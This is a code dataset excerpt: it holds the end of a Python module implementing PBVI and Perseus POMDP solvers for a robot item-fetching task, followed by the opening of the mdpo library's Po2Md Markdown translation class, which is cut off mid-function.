observation, possible_states), belief)) for\n\t\t# observation in\n\t\t# all_sampled_observations}\n\t\t# Need to add all max_alphas\n\t\tsum_alpha = cstuff.add_list_of_alphas(max_alphas.values(), self.pomdp.states)\n\t\tsum_alpha[\"values\"] = add_dict(sum_alpha[\"values\"], r_a, self.pomdp.states)\n\t\tsum_alpha[\"action\"] = action\n\t\t# sum_alpha[\"values\"] = cstuff.add_dict(sum_alpha,r_a,self.pomdp.states)\n\t\t# ret = add_dict(r_a, times_dict(max_alphas, self.pomdp.gamma))\n\t\t# ret.default_factory = lambda: a.default_factory() + b.default_factory()\n\t\treturn sum_alpha\n\n\tdef alpha_a_o(self, alpha, action, observation, states=None):\n\t\t'''\n\t\tCurrently assumes deterministic transitions. TODO: generalize for non deterministic transitions\n\t\tTODO cache alpha_a_o to use for multiple belief points\n\t\t:param alpha:\n\t\t:param action:\n\t\t:param observation:\n\t\t:param states:\n\t\t:return: componentwise product of alpha value at s and observation likelihood at s (since transitions are trivial)\n\t\t'''\n\t\t# Fixed to take into account transitions 2:07 PM 8/16/2018\n\t\tif states == None:\n\t\t\tstates = self.pomdp.states\n\t\ttarget_states = [self.pomdp.sample_transition(state, action) for state in states]\n\t\tnew_alpha = {\n\t\t\t\"values\": {\n\t\t\t\tstates[i]: alpha[\"values\"][target_states[i]] * self.pomdp.observation_func(observation,\n\t\t\t\t target_states[i],\n\t\t\t\t action) for i\n\t\t\t\tin\n\t\t\t\trange(len(states))}, \"action\": action}\n\t\treturn new_alpha\n\n\tdef get_pick_alpha(self, des_id):\n\t\talpha = {\"values\": {}, \"action\": \"pick \" + str(des_id)}\n\t\talpha[\"values\"].update({state: self.pomdp.correct_pick_reward for state in self.pomdp.states_by_des[des_id]})\n\t\tother_items = [i for i in range(self.pomdp.num_items) if i != des_id]\n\t\tfor i in other_items:\n\t\t\talpha[\"values\"].update({state: self.pomdp.wrong_pick_cost for state in self.pomdp.states_by_des[i]})\n\t\treturn alpha\n\n\tdef get_horizon_0_alpha_from_action(self, action):\n\t\talpha = {\"values\": {}, \"action\": action}\n\t\talpha[\"values\"].update({state: self.pomdp.reward_func(state, action) for state in self.pomdp.states})\n\t\treturn alpha\n\n\tdef get_lower_bound_alpha_from_action(self, action, conservative_lower_bounds=False):\n\t\t# Custom for Fetch\n\t\talpha = {\"values\": {}, \"action\": action}\n\t\tif conservative_lower_bounds:\n\t\t\tvalues = {state: self.pomdp.reward_func(state, action) + self.pomdp.gamma * self.pomdp.wrong_pick_cost for\n\t\t\t state in self.pomdp.states}\n\t\telse:\n\t\t\tvalues = {state: self.pomdp.reward_func(state, action) + self.pomdp.wait_cost / (1 - self.pomdp.gamma) for\n\t\t\t state in self.pomdp.states}\n\n\t\talpha[\"values\"] = values\n\t\treturn alpha\n\n\tdef initialize_v(self):\n\t\t# currently custom designed for Fetch\n\t\tnew_alphas = []\n\t\t# For each desired item, create an alpha with correct_pick_reward for any state with that desred item\n\t\tfor des_id in range(self.pomdp.num_items):\n\t\t\talpha = self.get_pick_alpha(des_id)\n\t\t\tnew_alphas.append(alpha)\n\t\treturn new_alphas\n\n\tdef pickle_beliefs_and_alphas(self, name=None):\n\t\tif name is None:\n\t\t\tname = self.name + \" pickle \" + str(len(self.v)) + \" alphas \" + str(len(self.beliefs)) + \"beliefs \" + str(\n\t\t\t\tdatetime.now()).replace(\":\", \".\")[:22]\n\t\tp = {\"alphas\": self.v, \"beliefs\": self.beliefs, \"pomdp config\": self.pomdp.config}\n\t\tpickle.dump(p, open(pickle_location + name + \".pickle\", \"wb\"))\n\n\tdef load_from_pickle(self, p):\n\t\tself.beliefs = p[\"beliefs\"]\n\t\tself.v = p[\"alphas\"]\n\n\tdef run(self, num_episodes=5):\n\t\t# Differes from run by getting reward from mdp state in simulation\n\t\t# TODO: Save entire history (not simulation)\n\t\tnum_correct = 0\n\t\tnum_wrong = 0\n\t\tstart_time = time()\n\t\tfinal_scores = []\n\t\tcounter_plan_from_state = 1\n\t\thistories = []\n\t\tfor episode in range(num_episodes):\n\t\t\tdiscounted_sum_rewards = 0.0\n\t\t\tnum_iter = 0\n\t\t\tif not self.muted:\n\t\t\t\tprint(\" \")\n\t\t\t\tprint('Episode {}: '.format(episode))\n\t\t\tself.pomdp.reset()\n\t\t\tcurr_belief_state = copy.deepcopy(self.pomdp.get_curr_belief())\n\t\t\t# old_belief = copy.deepcopy(cur_belief)\n\t\t\tif curr_belief_state[\"reference_type\"] in [\"point\", \"look\"]:\n\t\t\t\traise ValueError(\"Belief is messed up: \" + str(curr_belief_state[0]))\n\t\t\talpha, value = self.get_best_alpha(self.pomdp.cur_belief)\n\t\t\taction = alpha[\"action\"]\n\t\t\tcounter_plan_from_state += 1\n\t\t\thistory = []\n\t\t\trunning = True\n\t\t\twhile running:\n\t\t\t\tif self.pomdp.is_terminal(curr_belief_state, action):\n\t\t\t\t\trunning = False\n\t\t\t\tsplit_action = action.split(\" \")\n\t\t\t\tif split_action[0] == \"pick\":\n\t\t\t\t\tif split_action[1] == str(self.pomdp.cur_state[\"desired_item\"]):\n\t\t\t\t\t\tnum_correct += 1\n\t\t\t\t\telse:\n\t\t\t\t\t\tnum_wrong += 1\n\t\t\t\t# True state used for record keeping and is NOT used during planning\n\t\t\t\ttrue_state = self.pomdp.get_cur_state()\n\t\t\t\tret = self.pomdp.execute_action(action)\n\t\t\t\t# Consider moving belief management to solver\n\t\t\t\treward = ret[0]\n\t\t\t\tnext_belief_state = ret[1]\n\t\t\t\tobservation = ret[2]\n\t\t\t\tprint(\"Action: \" + str(action))\n\t\t\t\tprint(\"Expected Reward: \" + str(value))\n\t\t\t\tprint(\"Actual Reward: \" + str(reward))\n\t\t\t\tprint(\"Observation: \" + str(observation))\n\t\t\t\tif type(curr_belief_state) is list:\n\t\t\t\t\traise TypeError(\n\t\t\t\t\t\t\"cur_belief has type list on iteration \" + str(num_iter) + \" of episode \" + str(\n\t\t\t\t\t\t\tepisode) + \": \" + str(curr_belief_state))\n\n\t\t\t\thistory.append({\"belief\": curr_belief_state.data, \"action\": action,\n\t\t\t\t \"observation\": make_observation_serializable(observation),\n\t\t\t\t \"reward\": reward, \"true state\": true_state.data})\n\t\t\t\tdiscounted_sum_rewards += ((self.pomdp.gamma ** num_iter) * reward)\n\t\t\t\tif not self.muted:\n\t\t\t\t\tprint('({}, {}, {}) -> {} | {}'.format(curr_belief_state, action, next_belief_state, reward,\n\t\t\t\t\t discounted_sum_rewards))\n\t\t\t\t\tprint(\"\")\n\t\t\t\tcurr_belief_state = copy.deepcopy(next_belief_state)\n\t\t\t\tif type(curr_belief_state) is list:\n\t\t\t\t\traise TypeError(\n\t\t\t\t\t\t\"cur_belief has type list on iteration \" + str(num_iter) + \" of episode \" + str(\n\t\t\t\t\t\t\tepisode) + \": \" + str(curr_belief_state))\n\t\t\t\tif running:\n\t\t\t\t\talpha, value = self.get_best_alpha(self.pomdp.cur_belief)\n\t\t\t\t\taction = alpha[\"action\"]\n\n\t\t\t\t# current_history[\"action\"] = action\n\t\t\t\tnum_iter += 1\n\t\t\thistories.append(history)\n\t\t\tfinal_scores.append(discounted_sum_rewards)\n\t\t\tif not self.muted:\n\t\t\t\tprint(\"Number of steps in this episode = \" + str(num_iter))\n\t\t\t\tprint(\"counter_plan_from_state = \" + str(counter_plan_from_state))\n\t\t# print_times()\n\t\ttotal_time = time() - start_time\n\t\tctimes = cstuff.get_times()\n\t\tif not self.muted:\n\t\t\tprint(\"Total time: \" + str(total_time))\n\t\t\tprint(\"Observation sampling time: \" + str(ctimes[\"obs_sampling_time\"]))\n\t\t\tprint(\"sample_gesture_total_time: \" + str(ctimes[\"sample_gesture_total_time\"]))\n\t\t\tprint(\"belief update time: \" + str(ctimes[\"belief_update_total_time\"]))\n\t\t\tprint(\"observation_func_total_time: \" + str(ctimes[\"observation_func_total_time\"]))\n\t\t\tprint(\"gesture_func_total_time: \" + str(ctimes[\"gesture_func_total_time\"]))\n\t\t\tprint(\"Total time: \" + str(total_time))\n\t\t\tprint(\"Observation sampling time: \" + str(ctimes[\"obs_sampling_time\"]))\n\t\t\tprint(\"sample_gesture_total_time: \" + str(ctimes[\"sample_gesture_total_time\"]))\n\t\t\tprint(\"belief update time: \" + str(ctimes[\"belief_update_total_time\"]))\n\t\t\tprint(\"observation_func_total_time: \" + str(ctimes[\"observation_func_total_time\"]))\n\t\t\tprint(\"gesture_func_total_time: \" + str(ctimes[\"gesture_func_total_time\"]))\n\t\treturn {\"final_scores\": final_scores, \"counter_plan_from_state\": counter_plan_from_state,\n\t\t \"num_correct\": num_correct, \"num_wrong\": num_wrong, \"histories\": histories}\n\n\nclass PBVIClassic(PBVI):\n\tdef __init__(self, pomdp, observations_sample_size=3):\n\t\tself.pomdp = pomdp\n\t\tself.reward_func = self.pomdp.reward_func\n\t\tself.v = self.initialize_v()\n\t\tself.beliefs = [pomdp.cur_belief]\n\t\tself.observations_sample_size = observations_sample_size\n\t\tself.belief_branching = 1\n\t\tself.name = \"Classic PBVI\"\n\n\tdef collect_beliefs(self):\n\t\t# TODO: FetchPOMDP.observation_probability_func is a function of state only. Generalize.\n\t\tnew_beliefs = []\n\t\tfor belief in self.beliefs:\n\t\t\tsuccessor_beliefs = []\n\t\t\tactions = self.pomdp.get_potential_actions(belief)\n\t\t\tfor action in actions:\n\t\t\t\tfor i in range(self.observations_sample_size):\n\t\t\t\t\t# Can be made faster for large observation number by sampling a number of observations for each state\n\t\t\t\t\t# proportional to the state's probability, see alpha_a_b\n\t\t\t\t\tobservation = self.pomdp.sample_observation_from_belief(belief, action)\n\t\t\t\t\tnew_belief = self.pomdp.belief_update(belief, observation)\n\t\t\t\t\tsuccessor_beliefs.append(new_belief)\n\t\t\t# TODO consider using symmetric kl_divergence as metric instead\n\t\t\tfarthest_belief = argmax(successor_beliefs,\n\t\t\t lambda b: cstuff.distance(belief[\"desired_item\"], b[\"desired_item\"]))\n\t\t\tnew_beliefs.append(farthest_belief)\n\t\tself.beliefs.extend(new_beliefs)\n\t\treturn self.beliefs\n\n\tdef update_v(self, n=3):\n\t\t# converged = False\n\t\t# TODO: write convergence test\n\t\t# while not converged:\n\t\tfor i in range(n):\n\t\t\tfor belief in self.beliefs:\n\t\t\t\tself.add_alpha(self.backup(belief, self.v))\n\n\nclass Perseus(PBVI):\n\tdef __init__(self, pomdp, num_beliefs=100, belief_depth=3, observations_sample_size=3, beliefs=None, alphas=None,\n\t convergence_threshold=1, conservative_lower_bounds=False):\n\t\tPBVI.__init__(self, pomdp=pomdp, observations_sample_size=observations_sample_size)\n\t\tself.conservative_lower_bounds = conservative_lower_bounds\n\t\tif beliefs is None:\n\t\t\tself.beliefs = []\n\t\t\tself.v = []\n\t\t\tself.beliefs = self.initialize_beliefs(num_beliefs, depth=belief_depth)\n\t\t\tself.pickle_beliefs_and_alphas()\n\t\telse:\n\t\t\tself.beliefs = beliefs\n\t\tif alphas is None:\n\t\t\tself.v = self.initialize_v()\n\t\t\tself.update_v(convergence_threshold=convergence_threshold)\n\t\telse:\n\t\t\tself.v = alphas\n\t\tself.name = \"Perseus\"\n\t\tself.pickle_beliefs_and_alphas()\n\t\t# else:\n\t\t# \tself.beliefs = data[\"beliefs\"]\n\t\t# \tself.v = data[\"alphas\"]\n\t\t# \tif data[\"pomdp_config\"] != self.pomdp.config:\n\t\t# \t\tprint(\"WARNING: Loaded beliefs and alphas come from pomdp with different configuration.\")\n\t\tprint(\"Perseus constructed!\")\n\n\tdef initialize_beliefs(self, num_beliefs, depth=3, single_run=False, b0=None):\n\t\t# TODO Investigate other methods of generation. Ex. branching\n\t\timpossible_configs = []\n\t\tself.beliefs = []\n\t\tif b0 is None:\n\t\t\tb0 = self.pomdp.cur_belief\n\t\tif not single_run:\n\t\t\tnum_runs = math.ceil(num_beliefs / depth)\n\t\telse:\n\t\t\tnum_runs = 1\n\t\t\tdepth = num_beliefs\n\t\tself.beliefs.append(b0)\n\t\tfor i in range(num_runs):\n\t\t\tb = b0\n\t\t\tfor d in range(depth):\n\t\t\t\t# Sample a non terminal action since terminal actions do not provide useful belief states\n\t\t\t\ta = random.sample(self.pomdp.non_terminal_actions, 1)[0]\n\t\t\t\tb = self.pomdp.belief_transition_func(b, a)\n\t\t\t\to = self.pomdp.sample_observation_from_belief(b, a)\n\t\t\t\timposs = cstuff.is_observation_impossible(b, o)\n\t\t\t\tif imposs == 1:\n\t\t\t\t\timpossible_configs.append((b, o))\n\t\t\t\t\twhile imposs == 1:\n\t\t\t\t\t\to = self.pomdp.sample_observation_from_belief(b, a)\n\t\t\t\t\t\timposs = cstuff.is_observation_impossible(b, o)\n\t\t\t\tb = self.pomdp.belief_update(b, o)\n\t\t\t\tself.beliefs.append(b)\n\t\treturn self.beliefs\n\n\tdef initialize_v(self):\n\t\t# currently custom designed for Fetch\n\t\tnew_alphas = []\n\t\t# For each desired item, create an alpha with correct_pick_reward for any state with that desred item\n\t\tfor des_id in range(self.pomdp.num_items):\n\t\t\talpha = self.get_pick_alpha(des_id)\n\t\t\tnew_alphas.append(alpha)\n\t\t# For non terminal actions, a lower bound value is the cost of the action + discounted wrong pick next turn.\n\t\t# TODO Consider better lower bounds as well\n\t\tnon_terminal_actions = self.pomdp.get_non_terminal_actions()\n\t\tfor action in non_terminal_actions:\n\t\t\talpha = self.get_lower_bound_alpha_from_action(action, self.conservative_lower_bounds)\n\t\t\tnew_alphas.append(alpha)\n\t\tself.v = new_alphas\n\t\treturn new_alphas\n\n\ndef argmax(args, fn):\n\tmax_value = fn(args[0])\n\tmaxarg = args[0]\n\tfor i in range(len(args)):\n\t\tcur_v = fn(args[i])\n\t\tif cur_v > max_value:\n\t\t\tmaxarg = args[i]\n\t\t\tmax_value = cur_v\n\treturn maxarg\n\n\ndef argmax2(args, fn):\n\t'''\n\t:param args:\n\t:param fn:\n\t:return: (maxarg,max_value)\n\t'''\n\tmax_value = fn(args[0])\n\tmaxarg = args[0]\n\tfor i in range(len(args)):\n\t\tcur_v = fn(args[i])\n\t\tif cur_v > max_value:\n\t\t\tmaxarg = args[i]\n\t\t\tmax_value = cur_v\n\treturn (maxarg, max_value)\n\n\ndef test_alpha_a_b():\n\tpomdp = FetchPOMDP()\n\tvi = PBVIClassic(pomdp)\n\tvi.alpha_a_b(alpha=None, action=\"point 1\", belief=pomdp.cur_belief)\n\n\ndef test_alpha_dot_belief():\n\tpomdp = FetchPOMDP()\n\tvi = PBVIClassic(pomdp)\n\n\n# belief = pomdp.cur_belief\n# possible_states = belief.get_all_possible_states()\n# print(\"cur_belief: \" + str(pomdp.cur_belief))\n# print(\"cur_state: \" + str(pomdp.cur_state))\n# print(possible_states[0])\n# print(possible_states[0].data[\"last_referenced_item\"])\n# print(\"test to_state\")\n# print(pomdp.cur_belief.to_state(0))\n# print(pomdp.cur_belief.to_state(0)[\"last_referenced_item\"])\n\n\ndef test_dot_dict():\n\ta = {\"cat\": 12, \"dog\": 2}\n\tb = {\"cat\": 1, \"dog\": 2, \"mouse\": 444}\n\tprint(cstuff.dot_dict(a, b))\n\n\ndef test_arg_max():\n\tv = [1, 2, 3, 4]\n\tf = lambda i: -i ** 2\n\ta = argmax(v, f)\n\tprint(a)\n\tprint(f(a))\n\tb = argmax(v, lambda i: -i ** 2)\n\tprint(b)\n\tprint((lambda i: -i ** 2)(b))\n\n\ndef times_dict(a, scalar):\n\td = cstuff.times_dict(a, scalar)\n\t# d2 = defaultdict(lambda: scalar * a.default_factory(), d)\n\treturn d\n\n\n# def add_dict(a, b):\n# \tc = cstuff.add_dict(a, b)\n# \t# print(c)\n# \t# c = defaultdict(lambda: a.default_factory() + b.default_factory(), c)\n# \treturn c\ndef add_dict(a, b, keys=None):\n\tif keys == None:\n\t\tkeys = a.keys()\n\tret = {key: a[key] + b[key] for key in keys}\n\treturn ret\n\n\ndef test_dict_operations():\n\ta = defaultdict(lambda: -3, {\"car\": 12})\n\tb = defaultdict(lambda: -1, {\"car\": 22})\n\tc = add_dict(a, b)\n\t# print(str(c[4]))\n\tprint(str(c[4]) + \" = -4\")\n\td = times_dict(a, 4)\n\tprint(str(d[6]) + \" = -12\")\n\n\n# test_dict_operations()\ndef test_general():\n\tpomdp = FetchPOMDP()\n\tpb = PBVIClassic(pomdp=pomdp)\n\tprint(pb.get_value(pomdp.cur_belief))\n\tbs = copy.deepcopy(pomdp.cur_belief)\n\tbs[\"desired_item\"] = [0.0 for i in range(len(bs[\"desired_item\"]))]\n\tbs[\"desired_item\"][pomdp.cur_state[\"desired_item\"]] = 1.0\n\tpossible_states = bs.get_all_possible_states()\n\talpha = {\"values\": defaultdict(lambda: pomdp.min_value, {state: 100 for state in possible_states}),\n\t \"action\": \"wait\"}\n\tpb.v.append(alpha)\n\tprint(pb.get_value(pomdp.cur_belief))\n\tprint(pb.alpha_dot_b(alpha, bs))\n\n\n# for i in range(100):\n# \tprint(\" \".join([str(x) for x in pb.beliefs]))\n# \tprint(\" \".join([str(x) for x in pb.v]))\n# \tprint(pb.get_value(pomdp.cur_belief))\n# \talpha, val = pb.get_best_alpha(pomdp.cur_belief)\n# \tprint(alpha[\"action\"] + \" has value \" + str(val))\n# \tpb.update_v()\n# \tpb.collect_beliefs()\ndef test_alpha_dot_b_and_get_value():\n\tpomdp = FetchPOMDP()\n\tpb = PBVIClassic(pomdp=pomdp)\n\tprint(pb.get_value(pomdp.cur_belief))\n\tbs = copy.deepcopy(pomdp.cur_belief)\n\tbs[\"desired_item\"] = [0.0 for i in range(len(bs[\"desired_item\"]))]\n\tbs[\"desired_item\"][pomdp.cur_state[\"desired_item\"]] = 1.0\n\tpossible_states = bs.get_all_possible_states()\n\n\talpha = {\"values\": {state: 100 for state in pomdp.states}, \"action\": \"wait\"}\n\tpb.v.append(alpha)\n\tprint(pb.get_value(pomdp.cur_belief))\n\tprint(pb.alpha_dot_b(alpha, bs))\n\n\ndef test_alpha_a_o():\n\tpomdp = FetchPOMDP()\n\tpb = Perseus(pomdp)\n\n\tb = pomdp.init_belief\n\ta = \"point 1\"\n\to = FetchPOMDPObservation({\"yes\"}, None)\n\talpha = pb.get_pick_alpha(1)\n\t# states = pomdp.get_all_possible_states(candidate_desired_items= [1])\n\t# alpha[\"values\"].extend({state: pomdp.correct_pick_reward for state in states})\n\t# s = FetchPOMDPState(1,1,\"point\")\n\t# alpha[\"values\"][s] = pomdp.correct_pick_reward\n\t# alpha[\"values\"][s] = pomdp.correct_pick_reward\n\talpha2 = pb.alpha_a_o(alpha, a, o)\n\tb1 = copy.deepcopy(b)\n\tb1[\"last_referenced_item\"] = 1\n\tb1[\"reference_type\"] = \"point\"\n\tb1 = pomdp.belief_update(b1, o)\n\tprint(pb.get_value(b))\n\tprint(pb.get_value(b1))\n\n\ndef test_alpha_a_b():\n\tpomdp = FetchPOMDP()\n\tpb = Perseus(pomdp)\n\tb = pomdp.init_belief\n\ta = \"point 1\"\n\to = pomdp.sample_observation_from_belief(b, a)\n\tbao = pomdp.belief_update(b, o)\n\talpha_a_b = pb.alpha_a_b(a, b)\n\tval = pb.alpha_dot_b(alpha_a_b, b)\n\tval2 = pb.alpha_dot_b(alpha_a_b, bao)\n\tprint(val)\n\tprint(val2)\n\n\ndef pomdp_to_defaultdict(pomdp):\n\treturn defaultdict(lambda: pomdp.min_value)\n\n\ndef run_perseus(n=1):\n\t# Check each each function in PBVI/Perseus from the bottom up\n\tpomdp = FetchPOMDP()\n\tpb = Perseus(pomdp, num_beliefs=100)\n\tfor i in range(n):\n\t\talpha, value = pb.get_best_alpha(pomdp.cur_belief)\n\t\taction = alpha[\"action\"]\n\t\tdiscounted_sum_rewards = 0.0\n\t\tnum_iter = 0\n\t\trunning = True\n\t\twhile running:\n\t\t\tprint(\"step \" + str(num_iter))\n\t\t\tif pomdp.is_terminal(pomdp.cur_belief, action):\n\t\t\t\trunning = False\n\t\t\tprint(pomdp.cur_belief)\n\t\t\tret = pomdp.execute_action(action)\n\t\t\treward = ret[0]\n\t\t\tnext_belief_state = ret[1]\n\t\t\tobservation = ret[2]\n\t\t\tdiscounted_sum_rewards += ((pomdp.gamma ** num_iter) * reward)\n\t\t\tprint(action)\n\t\t\tprint(\"empirical reward: \" + str(reward))\n\t\t\tprint(\"expected reward: \" + str(value))\n\t\t\tif running:\n\t\t\t\talpha, value = pb.get_best_alpha(pomdp.cur_belief)\n\t\t\t\taction = alpha[\"action\"]\n\t\t\tnum_iter += 1\n\n\t\tprint(\"Took \" + str(num_iter) + \" steps to get reward \" + str(discounted_sum_rewards))\n\t\tpomdp.reset()\n\n\ndef test_get_pick_alpha():\n\tpomdp = FetchPOMDP()\n\tpb = Perseus(pomdp)\n\talpha = pb.get_pick_alpha(1)\n\tprint(alpha)\n\n\ndef test_add_dict():\n\tss = [FetchPOMDPState(1, i, \"point\") for i in range(4)]\n\ta = {ss[i]: i for i in range(4)}\n\tb = {ss[i]: i ^ 2 for i in range(4)}\n\tc = add_dict(a, b)\n\tprint(c[ss[2]])\n\n\ndef test_get_best_alpha():\n\t# pass 4:24 pm 8/17/2018\n\tpomdp = FetchPOMDP()\n\tpb = Perseus(pomdp)\n\talpha = pb.get_pick_alpha(1)\n\tb = pomdp.init_belief\n\ts = b.sample()\n\talpha[\"values\"][s] = 1000\n\tpb.v.append(alpha)\n\tbest_alpha, best_value = pb.get_best_alpha(b)\n\tprint(\"best_value: \" + str(best_value))\n\tif best_alpha == alpha:\n\t\tprint(\"Correct\")\n\tprint(pb.get_value(b))\n\tprint(pb.alpha_dot_b(best_alpha, b))\n\tprint(pb.alpha_dot_b(alpha, b))\n\n\ndef make_observation_serializable(o):\n\to2 = {\"language\": list(o[\"language\"]), \"gesture\": o[\"gesture\"]}\n\n\n# print(pb.v)\n# print(pb.get_value(pomdp.cur_belief))\ndef pickle_test():\n\tpomdp = FetchPOMDP()\n\tb = pomdp.init_belief\n\to = pomdp.sample_observation_from_belief(b)\n\talpha = {\"values\": {state: 12 for state in pomdp.states}, \"action\": \"wait\"}\n\tp = {\"b\": b, \"o\": o, \"alpha\": alpha, \"pomdp_config\": pomdp.get_config()}\n\tcurrent_time = str(datetime.now()).replace(\":\", \".\")[:22]\n\tpickle.dump(p, open(\"pickled thing \" + current_time, \"wb\"))\n\tp2 = pickle.load(open(\"pickled thing \" + current_time, \"rb\"))\n\tprint(p2)\n# test_alpha_a_o()\n# test_alpha_a_b()\n# test_get_pick_alpha()\n# test_add_dict()\n# test_get_best_alpha()\n# pickle_test()\n","sub_path":"zips/simple_rl-FetchPOMDP/simple_rl/tasks/FetchPOMDP/PBVIClass.py","file_name":"PBVIClass.py","file_ext":"py","file_size_in_byte":27066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"63813364","text":"\"\"\"Markdown files translator using PO files as reference.\"\"\"\n\nimport math\nimport re\n\nimport md4c\nimport polib\n\nfrom mdpo.command import (\n normalize_mdpo_command_aliases,\n parse_mdpo_html_command,\n)\nfrom mdpo.event import debug_events, raise_skip_event\nfrom mdpo.io import save_file_checking_file_changed, to_file_content_if_is_file\nfrom mdpo.md import (\n MarkdownSpanWrapper,\n escape_links_titles,\n parse_link_references,\n)\nfrom mdpo.md4c import DEFAULT_MD4C_GENERIC_PARSER_EXTENSIONS\nfrom mdpo.po import (\n paths_or_globs_to_unique_pofiles,\n po_escaped_string,\n pofiles_to_unique_translations_dicts,\n)\nfrom mdpo.text import (\n min_not_max_chars_in_a_row,\n parse_wrapwidth_argument,\n removesuffix,\n)\n\n\nclass Po2Md:\n __slots__ = {\n 'pofiles',\n 'output',\n 'content',\n 'extensions',\n 'events',\n 'disabled_entries',\n 'translated_entries',\n 'translations',\n 'translations_with_msgctxt',\n 'command_aliases',\n 'wrapwidth',\n\n 'bold_start_string',\n 'bold_start_string_escaped',\n 'bold_end_string',\n 'bold_end_string_escaped',\n 'italic_start_string',\n 'italic_start_string_escaped',\n 'italic_end_string',\n 'italic_end_string_escaped',\n 'code_start_string',\n 'code_start_string_escaped',\n 'code_end_string',\n 'code_end_string_escaped',\n 'link_start_string',\n 'link_end_string',\n 'wikilink_start_string',\n 'wikilink_end_string',\n\n # internal config\n '_current_msgid',\n '_current_msgctxt',\n '_current_tcomment',\n '_current_line',\n '_outputlines',\n '_disable_next_line',\n '_disable',\n '_enable_next_line',\n '_enterspan_replacer',\n '_leavespan_replacer',\n '_saved_files_changed',\n\n # state\n '_inside_htmlblock',\n '_inside_codeblock',\n '_inside_indented_codeblock',\n '_inside_pblock',\n '_inside_liblock',\n '_inside_liblock_first_p',\n '_inside_hblock',\n '_inside_aspan',\n '_inside_codespan',\n '_inside_table',\n '_codespan_start_index',\n '_codespan_backticks',\n '_codespan_inside_current_msgid',\n '_inside_quoteblock',\n '_current_aspan_ref_target',\n '_current_aspan_href',\n '_current_aspan_text',\n '_current_imgspan',\n '_current_thead_aligns',\n '_aimg_title_inside_current_msgid',\n '_ul_marks',\n '_ol_marks',\n '_current_list_type',\n '_current_wikilink_target',\n '_link_references',\n }\n\n def __init__(self, pofiles, ignore=[], po_encoding=None, **kwargs):\n self.pofiles = paths_or_globs_to_unique_pofiles(\n pofiles,\n ignore,\n po_encoding=po_encoding,\n )\n\n self.extensions = kwargs.get(\n 'extensions',\n DEFAULT_MD4C_GENERIC_PARSER_EXTENSIONS,\n )\n\n self.events = {}\n if 'events' in kwargs:\n for event_name, functions in kwargs['events'].items():\n self.events[event_name] = (\n [functions] if callable(functions) else functions\n )\n if kwargs.get('debug'):\n for event_name, function in debug_events('po2md').items():\n if event_name not in self.events:\n self.events[event_name] = []\n self.events[event_name].append(function)\n\n self._current_msgid = ''\n self._current_msgctxt = None\n self._current_tcomment = None\n self._current_line = ''\n self._outputlines = []\n\n self._disable_next_line = False\n self._disable = False\n self._enable_next_line = False\n self.disabled_entries = []\n self.translated_entries = []\n\n self.translations = None\n self.translations_with_msgctxt = None\n\n self.command_aliases = normalize_mdpo_command_aliases(\n kwargs.get('command_aliases', {}),\n )\n\n self.wrapwidth = (\n # infinte gives some undesired rendering\n (\n 2 ** 24 if kwargs['wrapwidth'] in [math.inf, 0]\n else parse_wrapwidth_argument(kwargs['wrapwidth'])\n ) if 'wrapwidth' in kwargs else 80\n )\n\n self._saved_files_changed = ( # pragma: no cover\n False if kwargs.get('_check_saved_files_changed') else None\n )\n\n self.bold_start_string = kwargs.get('bold_start_string', '**')\n self.bold_start_string_escaped = po_escaped_string(\n self.bold_start_string,\n )\n\n self.bold_end_string = kwargs.get('bold_end_string', '**')\n self.bold_end_string_escaped = po_escaped_string(\n self.bold_end_string,\n )\n\n self.italic_start_string = kwargs.get('italic_start_string', '*')\n self.italic_start_string_escaped = po_escaped_string(\n self.italic_start_string,\n )\n\n self.italic_end_string = kwargs.get('italic_end_string', '*')\n self.italic_end_string_escaped = po_escaped_string(\n self.italic_end_string,\n )\n\n self.code_start_string = kwargs.get('code_start_string', '`')[0]\n self.code_start_string_escaped = po_escaped_string(\n self.code_start_string,\n )\n\n self.code_end_string = kwargs.get('code_end_string', '`')[0]\n self.code_end_string_escaped = po_escaped_string(\n self.code_end_string,\n )\n\n self._enterspan_replacer = {\n md4c.SpanType.STRONG.value: self.bold_start_string,\n md4c.SpanType.EM.value: self.italic_start_string,\n md4c.SpanType.CODE.value: self.code_start_string,\n }\n\n self._leavespan_replacer = {\n md4c.SpanType.STRONG.value: self.bold_end_string,\n md4c.SpanType.EM.value: self.italic_end_string,\n md4c.SpanType.CODE.value: self.code_end_string,\n }\n\n self.wikilink_start_string = '[['\n self.wikilink_end_string = ']]'\n\n if 'wikilinks' in self.extensions:\n self.wikilink_start_string = kwargs.get(\n 'link_end_string',\n self.wikilink_start_string,\n )\n self.wikilink_end_string = kwargs.get(\n 'link_end_string',\n self.wikilink_end_string,\n )\n\n self._enterspan_replacer[md4c.SpanType.WIKILINK.value] = \\\n self.wikilink_start_string\n self._leavespan_replacer[md4c.SpanType.WIKILINK.value] = \\\n self.wikilink_end_string\n\n self._inside_htmlblock = False\n self._inside_codeblock = False\n self._inside_indented_codeblock = False\n self._inside_hblock = False\n self._inside_pblock = False\n self._inside_liblock = False\n # first li block paragraph (li block \"title\")\n self._inside_liblock_first_p = False\n self._inside_table = False\n\n self._inside_codespan = False\n self._codespan_start_index = None\n self._codespan_backticks = None\n self._codespan_inside_current_msgid = False\n\n self._inside_quoteblock = False\n\n self._inside_aspan = False\n self._current_aspan_ref_target = None\n self._current_aspan_href = None\n self._current_aspan_text = ''\n\n self._link_references = None\n self._current_imgspan = {}\n\n # current table head alignments\n self._current_thead_aligns = []\n\n # if title are found in images of links for the current msgid\n # we need to escape them after translate it because ``polib.unescape``\n # removes the scapes\n self._aimg_title_inside_current_msgid = False\n\n # current UL marks by nesting levels\n self._ul_marks = []\n\n # [numerical iterm order, current delimitier] for OL blocks\n self._ol_marks = []\n\n # current lists type (list nesting): ['ul' or 'ol', [True, False]]\n # (second parameter is tasklist item or not)\n self._current_list_type = []\n\n self._current_wikilink_target = None\n\n def command(self, mdpo_command, comment, original_command):\n # raise 'command' event\n if raise_skip_event(\n self.events,\n 'command',\n self,\n mdpo_command,\n comment,\n original_command,\n ):\n return\n\n if mdpo_command == 'mdpo-disable-next-line':\n self._disable_next_line = True\n elif mdpo_command == 'mdpo-disable':\n self._disable = True\n elif mdpo_command == 'mdpo-enable':\n self._disable = False\n elif mdpo_command == 'mdpo-enable-next-line':\n self._enable_next_line = True\n elif comment:\n if mdpo_command == 'mdpo-context':\n self._current_msgctxt = comment.rstrip()\n elif mdpo_command == 'mdpo-translator':\n self._current_tcomment = comment.rstrip()\n\n def _process_command(self, text):\n original_command, comment = parse_mdpo_html_command(text)\n if original_command is None:\n return\n\n try:\n command = 